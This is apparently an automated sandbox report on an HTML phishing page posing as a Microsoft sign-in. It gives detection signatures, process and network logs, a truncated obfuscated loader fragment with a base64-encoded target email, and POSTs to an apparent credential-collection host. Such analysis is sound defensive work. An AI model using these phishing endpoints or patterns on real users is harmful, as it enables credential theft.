Edit tour

Windows Analysis Report
t.mobile(1).html

Overview

General Information

Sample name:	t.mobile(1).html
Analysis ID:	1667560
MD5:	9f99d66465054cef59a0e780bf4afa76
SHA1:	ae45eb6e9f86b136b2f19730afb77b35243683b0
SHA256:	b75d8918d2e980d2c0e4b7a34d9413d5a4554c4269c31d740ff9b430745210c2
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

Detected javascript redirector / loader

HTML document with suspicious title

HTML file submission containing password form

HTML sample is only containing javascript code

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

None HTTPS page querying sensitive user data (password, username or email)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6872 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6152 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2020,i,12099462955920816978,13841834187080203830,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2052 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6528 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2020,i,12099462955920816978,13841834187080203830,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3912 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7316 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\t.mobile(1).html" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

• Phishing
• Compliance
• Networking
• System Summary
• Stealing of Sensitive Information

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: file:///C:/Users/user/Desktop/t.mobile(1).html	Joe Sandbox AI: Score: 10 Reasons: HTML file with login form DOM: 0.1.pages.csv
Source: file:///C:/Users/user/Desktop/t.mobile(1).html	Joe Sandbox AI: Score: 10 Reasons: HTML file with login form DOM: 0.2.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML

Detected javascript redirector / loader

Source: t.mobile(1).html

HTTP Parser: Low number of body elements: 0

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/t.mobile(1).html

Tab title: Sign in to your account

HTML sample is only containing javascript code

Source: t.mobile(1).html

HTTP Parser: <script>let rh13z8jemt = 'ZHVycmlnYW5zQGFpcmJvcm4uY29t'; // Corned beef exercitation buffalo fugiat shoulder do beef ham proident pig cillum.Function("Gf1NcwC","var Hd7I7d,Qc_1BZC,s9h0H_,XsDQd2l,flZtxyJ,xzGMOl,WBc4JWC,lSmZMr0,MVgbSn8,jhcAar,Ggm8c...

Source: file:///C:/Users/user/Desktop/t.mobile(1).html

HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/t.mobile(1).html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: t.mobile(1).html

HTTP Parser: Base64 decoded: durrigans@airborn.com

Source: file:///C:/Users/user/Desktop/t.mobile(1).html

HTTP Parser: Title: Sign in to your account does not match URL

Source: file:///C:/Users/user/Desktop/t.mobile(1).html	HTTP Parser: Invalid link: Privacy statement
Source: file:///C:/Users/user/Desktop/t.mobile(1).html	HTTP Parser: Invalid link: Privacy statement

Source: file:///C:/Users/user/Desktop/t.mobile(1).html

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/t.mobile(1).html

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Desktop/t.mobile(1).html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/t.mobile(1).html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/t.mobile(1).html	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/t.mobile(1).html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/t.mobile(1).html	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/t.mobile(1).html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/t.mobile(1).html	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.9.147:443 -> 192.168.2.5:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.5:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.128.193.190:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.202.1:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.201.1:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.7.218.8:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.7.218.74:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.7.218.74:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.7.218.8:443 -> 192.168.2.5:49725 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 173.194.219.94
Source: unknown	TCP traffic detected without corresponding DNS query: 173.194.219.94
Source: unknown	TCP traffic detected without corresponding DNS query: 173.194.219.94
Source: unknown	TCP traffic detected without corresponding DNS query: 173.194.219.94
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 173.194.219.94
Source: unknown	TCP traffic detected without corresponding DNS query: 173.194.219.94
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveOrigin: nullsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: nullsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveOrigin: nullsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /attach%2Fbootstrap.min.js HTTP/1.1Host: 6063680314-1317754460.cos.ap-bangkok.myqcloud.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1Host: res.cloudinary.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1Host: res.cloudinary.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //google.php HTTP/1.1Host: alex.meraviglia.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //google.php HTTP/1.1Host: alex.meraviglia.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-sjbzjr1ztzcivjfllxkhohxi3desbkasabh0ljr0rlm/logintenantbranding/0/bannerlogo?ts=638551971590585405 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-sjbzjr1ztzcivjfllxkhohxi3desbkasabh0ljr0rlm/logintenantbranding/0/bannerlogo?ts=638551971590585405 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //google.php HTTP/1.1Host: alex.meraviglia.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //google.php HTTP/1.1Host: alex.meraviglia.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //google.php HTTP/1.1Host: alex.meraviglia.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //google.php HTTP/1.1Host: alex.meraviglia.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 6063680314-1317754460.cos.ap-bangkok.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: alex.meraviglia.it.com
Source: global traffic	DNS traffic detected: DNS query: res.cloudinary.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msauthimages.net

Source: unknown

HTTP traffic detected: POST //google.php HTTP/1.1Host: alex.meraviglia.it.comConnection: keep-aliveContent-Length: 13sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0Accept: */*Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: chromecache_63.3.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_54.3.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_62.3.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_62.3.dr, chromecache_54.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_62.3.dr, chromecache_54.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49675
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 142.250.9.147:443 -> 192.168.2.5:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.5:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.128.193.190:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.202.1:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.201.1:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.7.218.8:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.7.218.74:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.7.218.74:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.7.218.8:443 -> 192.168.2.5:49725 version: TLS 1.2

Source: classification engine

Classification label: mal72.phis.winHTML@24/27@28/12

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2020,i,12099462955920816978,13841834187080203830,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2052 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2020,i,12099462955920816978,13841834187080203830,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3912 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\t.mobile(1).html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
